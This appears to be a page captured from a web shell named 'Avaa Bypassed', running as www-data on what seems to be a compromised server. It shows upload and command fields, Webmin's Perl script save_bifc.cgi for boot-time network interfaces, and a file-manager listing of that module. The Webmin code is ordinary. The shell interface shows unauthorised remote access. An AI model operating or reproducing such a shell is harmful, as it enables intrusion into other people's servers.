[ Avaa Bypassed ]




Upload:

Command:

www-data@160.79.109.87: ~ $
#!/usr/bin/perl
# save_bifc.cgi
# Create, save or delete a boot-time interface

require './net-lib.pl';
&ReadParse();
@boot = &boot_interfaces();

if ($in{'delete'} || $in{'unapply'}) {
	# Delete interface
	&error_setup($text{'bifc_err1'});
	$b = $boot[$in{'idx'}];
	&can_iface($b) || &error($text{'ifcs_ecannot_this'});

	if ($in{'unapply'}) {
		# Shut down this interface active (if active)
		&error_setup($text{'bifc_err4'});
		@active = &active_interfaces();
		($act) = grep { $_->{'fullname'} eq $b->{'fullname'} } @active;
		if ($act) {
			if (defined(&unapply_interface)) {
				$err = &unapply_interface($act);
				$err && &error("<pre>$err</pre>");
				}
			else {
				&deactivate_interface($act);
				}
			}

		}
	&delete_interface($b);
	&webmin_log("delete", "bifc", $b->{'fullname'}, $b);
	}
else {
	# Save or create interface
	&error_setup($text{'bifc_err2'});
	if (!$in{'new'}) {
		# Modifying an interface
		$oldb = $boot[$in{'idx'}];
		&can_iface($oldb) || &error($text{'ifcs_ecannot_this'});
		$b = { %$oldb };
		}
	elsif (defined($in{'virtual'})) {
		# creating a virtual interface
		$in{'virtual'} =~ /^\d+$/ ||
			&error($text{'bifc_evirt'});
		$in{'virtual'} >= $min_virtual_number ||
			&error(&text('aifc_evirtmin', &html_escape($min_virtual_number)));
		foreach $eb (@boot) {
			if ($eb->{'name'} eq $in{'name'} &&
			    $eb->{'virtual'} eq $in{'virtual'}) {
				&error(&text('bifc_evirtdup',
				       &html_escape("$in{'name'}:$in{'virtual'}")));
				}
			}
		$b->{'name'} = $in{'name'};
		$b->{'virtual'} = $in{'virtual'};
		$b->{'fullname'} = $b->{'name'}.":".$b->{'virtual'};
		&can_create_iface() || &error($text{'ifcs_ecannot'});
		&can_iface($b) || &error($text{'ifcs_ecannot'});
		}
	elsif ($in{'name'} =~ /^([a-z]+\d*(s\d*)?(\.\d+)?):(\d+)$/ ||
	       $in{'name'} =~ /^(en[0-9a-z]+(s\d*)?(\.\d+)?):(\d+)$/) {
		# also creating a virtual interface
		foreach $eb (@boot) {
			if ($eb->{'name'} eq $2 &&
			    $eb->{'virtual'} eq $4) {
				&error(&text('bifc_evirtdup', &html_escape($in{'name'})));
				}
			}
		$4 >= $min_virtual_number ||
			&error(&text('aifc_evirtmin', &html_escape($min_virtual_number)));
		$b->{'name'} = $1;
		$b->{'virtual'} = $4;
		$b->{'fullname'} = $b->{'name'}.":".$b->{'virtual'};
		}
	elsif ($in{'bridge'}) {
		# Creating a bridge interface
		$in{'name'} =~ /^\d+$/ || &error($text{'bifc_ebridge'});
		$b->{'name'} = $b->{'fullname'} = "br".$in{'name'};
		$b->{'bridge'} = 1;
		}
	elsif ($in{'bond'}) {
		# Creating a bond interface
		$in{'name'} =~ /^\d+$/ || &error($text{'bifc_ebond'});
		$b->{'name'} = $b->{'fullname'} = "bond".$in{'name'};
		$b->{'bond'} = 1;
		}
	elsif ($in{'name'} =~ /^[a-z]+\d*(s\d*)?(\.\d+)?$/ ||
	       $in{'name'} =~ /^en[0-9a-z]+(s\d*)?(\.\d+)?$/) {
		# creating a real interface
		$b->{'name'} = $in{'name'};
		$b->{'fullname'} = $in{'name'};
		}
	elsif ($in{'name'} eq 'auto') {
		# creating a vlan interface
		$b->{'name'} = $in{'name'};
		$b->{'fullname'} = $in{'name'};
		}
	else {
		&error($text{'bifc_ename'});
		}

	if ($in{'new'}) {
		# Check permissions
		&can_create_iface() || &error($text{'ifcs_ecannot'});
		&can_iface($b) || &error($text{'ifcs_ecannot'});

		# Check for clash
		foreach $eb (@boot) {
			if ($eb->{'fullname'} eq $b->{'fullname'}) {
				&error(&text('bifc_edup', &html_escape($in{'name'})));
				}
			}
		}

	# Check for address clash
	$allow_clash = defined(&allow_interface_clash) ?
			&allow_interface_clash($b, 1) : 1;
	if (!$allow_clash && $in{'mode'} eq 'address' &&
	    ($in{'new'} || $oldb->{'address'} ne $in{'address'})) {
		($clash) = grep { $_->{'address'} eq $in{'address'} &&
				  $_->{'up'} } @boot;
		$clash && &error(&text('aifc_eclash', &html_escape($clash->{'fullname'})));
		}

	# Validate and store inputs
	delete($b->{'dhcp'});
	delete($b->{'bootp'});
	delete($b->{'address'});
	if ($in{'mode'} eq 'dhcp' || $in{'mode'} eq 'bootp') {
		$in{'activate'} && !defined(&apply_interface) &&
			&error($text{'bifc_eapply'});
		$b->{$in{'mode'}}++;
		$auto++;
		}
	elsif ($in{'mode'} eq 'none') {
		delete($b->{'address'});
		}
	else {
		&valid_boot_address($in{'address'}) ||
			&error(&text('bifc_eip', &html_escape($in{'address'})));
		$b->{'address'} = $in{'address'};
		}

	# Set description if possible
	if (defined($in{'desc'})) {
		$b->{'desc'} = $in{'desc'};
		}
	else {
		delete($b->{'desc'});
		}

	if ($in{'mode'} eq 'none') {
		# No netmask needed
		delete($b->{'netmask'});
		}
	elsif ($virtual_netmask && $b->{'virtual'} ne "") {
		# Always use this netmask for virtuals
		$b->{'netmask'} = $virtual_netmask;
		}
	elsif (!$access{'netmask'}) {
		# Use default netmask
		if ($in{'new'}) {
			$b->{'netmask'} = $config{'def_netmask'} ||
					  "255.255.255.0";
			}
		}
	elsif (&can_edit("netmask", $b) && $access{'netmask'}) {
		$auto && !$in{'netmask'} ||
		    &check_netmask($in{'netmask'}, $in{'address'}) ||
			&error(&text('bifc_emask', &html_escape($in{'netmask'})));
		$b->{'netmask'} = $in{'netmask'};
		}

	if ($in{'mode'} eq 'none') {
		# No broadcast needed
		delete($b->{'broadcast'});
		}
	elsif (!$access{'broadcast'} && $in{'new'}) {
		# Work out broadcast if user isn't allowed to set it
		$b->{'broadcast'} = &compute_broadcast(
			$b->{'address'}, $b->{'netmask'});
		}
	elsif ($in{'broadcast_def'}) {
		# If system needs broadcast to be computed, do it here
		if (!&can_broadcast_def()) {
			$b->{'broadcast'} = &compute_broadcast(
				$b->{'address'}, $b->{'netmask'});
			}
		else {
			$b->{'broadcast'} = undef;
			}
		}
	elsif (&can_edit("broadcast", $b)) {
		# Manually entered broadcast
		($auto && !$in{'broadcast'}) ||
			&check_ipaddress($in{'broadcast'}) ||
			&error(&text('bifc_ebroad', &html_escape($in{'broadcast'})));
		$b->{'broadcast'} = $in{'broadcast'};
		}

	if (!$access{'mtu'}) {
		# Use default MTU or leave unchanged
		if ($in{'new'}) {
			$b->{'mtu'} = $config{'def_mtu'};
			}
		}
	elsif (&can_edit("mtu", $b) && $access{'mtu'}) {
		$auto && !$in{'mtu'} ||
			$in{'mtu_def'} ||
			$in{'mtu'} =~ /^\d+$/ ||
			&error(&text('bifc_emtu', &html_escape($in{'mtu'})));
		$b->{'mtu'} = $in{'mtu_def'} ? undef : $in{'mtu'};
		}

	# MAC address
	if (defined($in{'ether'}) && !$in{'ether_def'}) {
		$in{'ether'} =~ /^[A-Fa-f0-9:]+$/ ||
			&error(&text('aifc_ehard', &html_escape($in{'ether'})));
		$b->{'ether'} = $in{'ether'};
		}
	else {
		delete($b->{'ether'});
		}

	# Activate at boot flag
	if ($in{'new'} && !$access{'up'}) {
		# If cannot edit up flag, assume enabled for new interfaces
		$b->{'up'} = 1;
		}
	elsif (&can_edit("up", $b) && $access{'up'}) {
		# If can edit, respect the user
		$b->{'up'} = $in{'up'};
		}

	# Save IPv6 addresses
	if (&supports_address6($b)) {
		delete($b->{'address6'});
		delete($b->{'netmask6'});
		delete($b->{'auto6'});
		if ($in{'mode6'} eq 'auto') {
			# Dynamic configuration
			$b->{'auto6'} = 1;
			}
		elsif ($in{'mode6'} eq 'address') {
			# Static addresses
			@address6 = ( );
			@netmask6 = ( );
			%clash6 = ( );
			foreach $eb (@boot) {
				if ($eb->{'fullname'} ne $b->{'fullname'}) {
					foreach $a6 (@{$eb->{'address6'}}) {
						$clash6{$a6} = $eb;
						}
					}
				}
			for($i=0; defined($in{'address6_'.$i}); $i++) {
				next if ($in{'address6_'.$i} !~ /\S/);
				&check_ip6address($in{'address6_'.$i}) ||
					&error(&text('aifc_eaddress6', $i+1));
				$c = $clash6{$in{'address6_'.$i}};
				$c && &error(&text('aifc_eclash6', $i+1, &html_escape($c->{'name'})));
				push(@address6, $in{'address6_'.$i});
				$in{'netmask6_'.$i} =~ /^\d+$/ &&
				    $in{'netmask6_'.$i} > 0 &&
				    $in{'netmask6_'.$i} <= 128 ||
					&error(&text('aifc_enetmask6', $i+1));
				push(@netmask6, $in{'netmask6_'.$i});
				$clash6{$in{'address6_'.$i}} = $b;
				}
			@address6 || &error($text{'aifc_eaddresses6'});
			delete($b->{'auto6'});
			$b->{'address6'} = \@address6;
			$b->{'netmask6'} = \@netmask6;
			}
		}

	# Save bonding settings
	if ($in{'bond'}) {
		$b->{'bond'} = 1;
		$b->{'partner'} = $in{'partner'};
		$b->{'mode'} = $in{'bondmode'};
		$b->{'primary'} = $in{'primary'};
		$b->{'miimon'} = $in{'miimon'};
		$b->{'updelay'} = $in{'updelay'};
		$b->{'downdelay'} = $in{'downdelay'};
		}
	else {
		delete($b->{'bond'});
		}
	
	# Save VLAN settings
	if ($in{'vlan'}) {
		$b->{'vlan'} = 1;
		if ($in{'physical'}) {
			$b->{'physical'} = $in{'physical'};
			}
		if ($in{'vlanid'}) {
			$b->{'vlanid'} = $in{'vlanid'};
			}
		}
	else {
		delete($b->{'vlan'});
		}

	# Save bridge settings
	if ($b->{'bridge'}) {
		if ($in{'bridgeto'}) {
			&iface_type($in{'bridgeto'}) =~ /Ethernet|Bonded/ ||
				&error($text{'bifc_ebridgeto'});
			($bt) = grep { $_->{'fullname'} eq $in{'bridgeto'} }
				     @boot;
			$bt || &error($text{'bifc_ebridgeto'});
			}
		($bt->{'address'} || $bt->{'dhcp'} || $bt->{'bootp'}) &&
			&error($text{'bifc_ebridgeto2'});
		$b->{'bridgeto'} = $in{'bridgeto'};
		$b->{'bridgestp'} = $in{'bridgestp'};
		$b->{'bridgefd'} = $in{'bridgefd'};
		$b->{'bridgewait'} = $in{'bridgewait'};
		}
	else {
		delete($b->{'bridgeto'});
		delete($b->{'bridgestp'});
		delete($b->{'bridgefd'});
		delete($b->{'bridgewait'});
		}

	# Save the interface with its final name
	if ($b->{'vlan'}) {
		$b->{'fullname'} = $in{'physical'}.".".$in{'vlanid'};
		}
	else {
		$b->{'fullname'} = $b->{'name'}.
			( $b->{'virtual'} eq '' ? '' : ':'.$b->{'virtual'});
		}
	&save_interface($b, \@boot);

	# If switching from DHCP to static and there is no default gateway
	# set, copy the active one
	if ($oldb{'dhcp'} && !$b{'dhcp'} && $b{'virtual'} eq '' &&
	    defined(&get_default_gateway) && defined(&list_routes)) {
		my $oldgw = &get_default_gateway();
		my ($dr) = grep { $_->{'dest'} eq '0.0.0.0' } &list_routes();
		if (!$oldgw && $dr) {
			&set_default_gateway($dr->{'gateway'}, $b{'name'});
			}
		}

	if ($in{'activate'}) {
		# Make this interface active (if possible)
		&error_setup($text{'bifc_err3'});
		$b->{'up'}++;
		$b->{'address'} = &to_ipaddress($b->{'address'});
		if (defined(&apply_interface)) {
			$err = &apply_interface($b);
			$err && &error("<pre>$err</pre>");
			}
		else {
			if ($in{'bond'}) {
				if (($gconfig{'os_type'} eq 'debian-linux') &&
				    ($gconfig{'os_version'} >= 5)) {}
				else {&load_module($b);}
				}
			&activate_interface($b);
			}
		}
	&webmin_log($in{'new'} ? 'create' : 'modify',
		    "bifc", $b->{'fullname'}, $b);
	}
&redirect("list_ifcs.cgi?mode=boot");


Filemanager

Name Type Size Permission Actions
images Folder 0755
lang Folder 0755
CHANGELOG File 5.55 KB 0644
acl_security.pl File 3.08 KB 0755
apply.cgi File 184 B 0755
backup_config.pl File 1005 B 0755
cgi_args.pl File 752 B 0755
cobalt-linux-lib.pl File 32.85 KB 0755
coherent-linux-lib.pl File 32.85 KB 0755
config File 48 B 0644
config-ALL-linux File 48 B 0644
config-cygwin File 82 B 0644
config-freebsd File 48 B 0644
config-macos File 48 B 0644
config-netbsd File 48 B 0644
config-openbsd File 48 B 0644
config-solaris File 79 B 0644
config-syno-linux File 48 B 0644
config-unixware File 48 B 0644
config-windows File 78 B 0644
config.info File 193 B 0644
config.info.ca File 241 B 0644
config.info.cs File 205 B 0644
config.info.de File 219 B 0644
config.info.es File 175 B 0644
config.info.fa File 255 B 0644
config.info.fr File 246 B 0644
config.info.hu File 0 B 0644
config.info.ja File 68 B 0644
config.info.nl File 197 B 0644
config.info.no File 208 B 0644
config.info.pl File 240 B 0644
config.info.pt_BR File 229 B 0644
config.info.ru File 361 B 0644
config.info.sk File 225 B 0644
config.info.sv File 42 B 0644
config.info.tr File 65 B 0644
config.info.uk File 87 B 0644
config.info.zh File 43 B 0644
config.info.zh_TW File 44 B 0644
create_route.cgi File 1004 B 0755
cygwin-lib.pl File 11.28 KB 0755
debian-linux-lib.pl File 33.58 KB 0755
defaultacl File 114 B 0644
delete_aifcs.cgi File 537 B 0755
delete_bifcs.cgi File 1.44 KB 0755
delete_hosts.cgi File 523 B 0755
delete_ipnodes.cgi File 542 B 0755
delete_routes.cgi File 458 B 0755
edit_aifc.cgi File 5.09 KB 0755
edit_bifc.cgi File 10.42 KB 0755
edit_host.cgi File 1.13 KB 0755
edit_ipnode.cgi File 1.04 KB 0755
edit_range.cgi File 1.34 KB 0755
freebsd-lib.pl File 19.22 KB 0755
gentoo-linux-lib.pl File 8.47 KB 0755
index.cgi File 1.25 KB 0755
interface_chooser.cgi File 3.8 KB 0755
linux-lib.pl File 27.58 KB 0755
list_dns.cgi File 2.3 KB 0755
list_hosts.cgi File 1.36 KB 0755
list_ifcs.cgi File 7.96 KB 0755
list_ipnodes.cgi File 1.07 KB 0755
list_routes.cgi File 3.38 KB 0755
log_parser.pl File 1.24 KB 0755
macos-lib.pl File 11.57 KB 0755
mandrake-linux-lib.pl File 32.85 KB 0755
mod_aifc.cgi File 720 B 0755
module.info File 485 B 0644
module.info.af File 0 B 0644
module.info.af.auto File 123 B 0644
module.info.ar File 0 B 0644
module.info.ar.auto File 170 B 0644
module.info.be File 0 B 0644
module.info.be.auto File 226 B 0644
module.info.bg File 0 B 0644
module.info.bg.auto File 261 B 0644
module.info.ca File 127 B 0644
module.info.ca.auto File 25 B 0644
module.info.cs File 27 B 0644
module.info.cs.auto File 111 B 0644
module.info.da File 0 B 0644
module.info.da.auto File 129 B 0644
module.info.de File 121 B 0644
module.info.de.auto File 19 B 0644
module.info.el File 0 B 0644
module.info.el.auto File 229 B 0644
module.info.es File 30 B 0644
module.info.es.auto File 116 B 0644
module.info.eu File 0 B 0644
module.info.eu.auto File 142 B 0644
module.info.fa File 0 B 0644
module.info.fa.auto File 194 B 0644
module.info.fi File 0 B 0644
module.info.fi.auto File 145 B 0644
module.info.fr File 30 B 0644
module.info.fr.auto File 128 B 0644
module.info.he File 0 B 0644
module.info.he.auto File 161 B 0644
module.info.hr File 0 B 0644
module.info.hr.auto File 148 B 0644
module.info.hu File 34 B 0644
module.info.hu.auto File 148 B 0644
module.info.it File 28 B 0644
module.info.it.auto File 112 B 0644
module.info.ja File 33 B 0644
module.info.ja.auto File 153 B 0644
module.info.ko File 28 B 0644
module.info.ko.auto File 105 B 0644
module.info.lt File 0 B 0644
module.info.lt.auto File 157 B 0644
module.info.lv File 0 B 0644
module.info.lv.auto File 157 B 0644
module.info.ms File 136 B 0644
module.info.ms.auto File 18 B 0644
module.info.mt File 0 B 0644
module.info.mt.auto File 144 B 0644
module.info.nl File 29 B 0644
module.info.nl.auto File 105 B 0644
module.info.no File 31 B 0644
module.info.no.auto File 99 B 0644
module.info.pl File 122 B 0644
module.info.pl.auto File 19 B 0644
module.info.pt File 31 B 0644
module.info.pt.auto File 125 B 0644
module.info.pt_BR File 34 B 0644
module.info.pt_BR.auto File 131 B 0644
module.info.ro File 0 B 0644
module.info.ro.auto File 143 B 0644
module.info.ru File 36 B 0644
module.info.ru.auto File 167 B 0644
module.info.sk File 28 B 0644
module.info.sk.auto File 113 B 0644
module.info.sl File 0 B 0644
module.info.sl.auto File 140 B 0644
module.info.sv File 31 B 0644
module.info.sv.auto File 103 B 0644
module.info.th File 0 B 0644
module.info.th.auto File 327 B 0644
module.info.tr File 30 B 0644
module.info.tr.auto File 130 B 0644
module.info.uk File 0 B 0644
module.info.uk.auto File 223 B 0644
module.info.ur File 0 B 0644
module.info.ur.auto File 210 B 0644
module.info.vi File 0 B 0644
module.info.vi.auto File 170 B 0644
module.info.zh File 21 B 0644
module.info.zh.auto File 90 B 0644
module.info.zh_TW File 24 B 0644
module.info.zh_TW.auto File 96 B 0644
msc-linux-lib.pl File 32.85 KB 0755
net-lib.pl File 12 KB 0755
netbsd-lib.pl File 19.22 KB 0755
netplan-lib.pl File 21.01 KB 0644
open-linux-lib.pl File 7.2 KB 0755
openbsd-lib.pl File 12.6 KB 0755
openmamba-linux-lib.pl File 32.85 KB 0755
pardus-linux-lib.pl File 32.85 KB 0755
rbac-mapping File 180 B 0644
rc.inet1 File 1.95 KB 0644
redhat-linux-lib.pl File 32.85 KB 0755
save_aifc.cgi File 5.78 KB 0755
save_bifc.cgi File 10.12 KB 0755
save_dns.cgi File 3.65 KB 0755
save_host.cgi File 1.18 KB 0755
save_ipnode.cgi File 1.26 KB 0755
save_range.cgi File 1.42 KB 0755
save_routes.cgi File 283 B 0755
slackware-linux-9.1-ALL-lib.pl File 7.85 KB 0755
slackware-linux-lib.pl File 6.71 KB 0755
solaris-lib.pl File 20.79 KB 0755
suse-linux-8.0-lib.pl File 7.31 KB 0755
suse-linux-8.2-lib.pl File 7.31 KB 0755
suse-linux-9.0-lib.pl File 8.74 KB 0755
suse-linux-9.1-lib.pl File 8.74 KB 0755
suse-linux-9.2-ALL-lib.pl File 11.23 KB 0755
suse-linux-lib.pl File 9.08 KB 0755
system_info.pl File 2.42 KB 0644
trustix-linux-lib.pl File 32.85 KB 0755
turbo-linux-lib.pl File 32.85 KB 0755
united-linux-lib.pl File 7.31 KB 0755
unixware-lib.pl File 9.9 KB 0755
windows-lib.pl File 11.28 KB 0755